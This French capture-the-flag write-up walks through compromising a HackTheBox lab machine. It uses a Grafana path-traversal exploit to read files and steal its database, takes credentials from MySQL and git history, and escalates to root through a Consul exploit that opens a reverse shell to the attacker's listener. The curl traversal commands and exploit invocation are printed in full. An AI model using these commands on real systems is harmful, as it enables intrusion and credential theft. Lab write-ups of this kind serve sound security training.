Table of contents

• Recon

• Foothold

• Privilege Escalation

Note

La room était assez sympa, plutôt entre medium et easy. C’est dommage qu’il n’y ait “que” des CVE même si l’exploitation de Consul est intéressante.

Recon

dirb http://10.10.11.183

nmap -sC -sV 10.10.11.183

3000/tcp open  ppp?
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 302 Found
|     Cache-Control: no-cache
|     Content-Type: text/html; charset=utf-8
|     Expires: -1
|     Location: /login
|     Pragma: no-cache

3306/tcp open  nagios-nsca Nagios NSCA
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.30-0ubuntu0.20.04.2
|   Thread ID: 48
|   Capabilities flags: 65535

Rien de vraiment utile au niveau du dirb, le nmap lui en revanche montre deux choses intéressantes:

• mysql sur le port 3306
• On a un service non reconnu sur le port 3000

On se rend sur le port 3000 et on est redirigés vers un /login

Le service non reconnu sur le port 3000 est donc Grafana

Foothold

En bas de la page, on voit que la version de Grafana est 8.2.0, or il existe un exploit valable pour toutes les versions <8.3.0

→ https://www.exploit-db.com/exploits/50581

Il s’agit d’un Arbitrary File Read, on devrait donc pouvoir lire plus ou moins tout les fichiers du serveur (tant que l’user Grafana a la permission de le faire)

On peut vérifier que le script fonctionne en lisant le /etc/passwd

L’exploit marche bel et bien, et en lisant le code on peut voir qu’il éxecute cette commande bash:

curl --path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../{input}

On peut récupérer la database du grafana (dans laquelle devrait se trouver le mot de passe de l’utilisateur mysql)

curl --path-as-is http://10.10.11.183:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db

Le -o permet de sauvegarder l’output de notre curl dans un fichier, en l’occurence ici, on la sauvegarde dans grafana.db

Puis qu’on ne peut pas lire un fichier sqlite en l’ouvrant dans un éditeur de texte, on peut l’upload sur https://sqliteviewer.app.

On trouve assez rapidement un mot de passe dans la table data_source

On se connecte à la database mysql avec comme user “grafana” et le mot de passe qu’on vient de trouver

mysql -u grafana -p -h ambassador.htb

En listant les databases, une sort du lot: whackywidget

On peut donc switcher dessus et lister les tables qu’elle contient via la commande show TABLES;

Il n’y en a qu’une seule: users. En lisant son contenu, on voit un mot de passe encodé en base64

On peut retrouver sa valeur en clair via cette commande

echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d

Pour cette étape, il faut se souvenir d’une information présente sur la page principale du site:

Connecting to this machine Use the developer account to SSH

On peut donc deviner que l’utilisateur qui correspond à ce mot de passe est developer

Privilege Escalation

On peut commencer par run linpeas pour essayer de trouver des vecteurs de privesc

╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ [https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files](https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files)
Group developer:
/etc/consul.d/config.d

On peut voir que consul est présent sur cette machine, mais qu’est ce que consul?

→ https://developer.hashicorp.com/consul/docs/intro

Consul permet entre autres d’enregistrer des tâches en tant que root (qui seront donc effectuées avec les permissions sudo)

On peut déjà comprendre assez vite comment va fonctionner la privesc.

On trouve cet exploit qui devrait pouvoir fonctionner dans notre situation

Le problème, c’est qu’il demande un token consul qui permet d’enregistrer de nouvelles tasks.

N’ayant pas ce token, je me suis replongé dans l’output de linpeas pensant que consul n’était pas la solution pour cette privesc.

╔══════════╣ Analyzing Github Files (limit 70)
 
- rw-rw-r-- 1 developer developer 93 Sep 2 02:28 /home/developer/.gitconfig
 
drwxrwxr-x 8 root root 4096 Mar 14  2022 /opt/my-app/.git

On voit qu’il existe un répertoire .git dans /opt/my-app

On peut donc s’y rendre puis faire un git log pour accéder à l’historique des commits faits au repo. On affiche ensuite les changements faits au commit original

git show 33a53ef9a207976d5ceceddc41a199558843bf3c

Et on y trouve le token consul écrit en clair.

On reprend donc l’exploit de tout à l’heure, que devrait fonctionner maintenant qu’on a le token consul

Il est aussi possible de passer par metasploit puisqu’il existe un exploit pour cette CVE, mais puisque consul est un service local (il n’est accessible que localement) il faudrait forwarder le port avec chisel. C’est faisable sur cette machine, mais j’ai décidé ici de directement mettre l’exploit sur la machine.

On lance notre listener netcat, puis on lance l’exploit sur la machine via cette commande

python3 exploit.py 127.0.0.1 8500 10.10.14.53 1338 bb03b43b-1d81-d62b-24b5-39540ee469b5

8500 = Port sur lequel se trouve le service consul

1338 = Port sur lequel écoute notre netcat

10.10.14.53 = L’IP de notre OpenVPN (ou de votre machine)

On attend quelques secondes puis on reçoit la connection via le netcat

back to top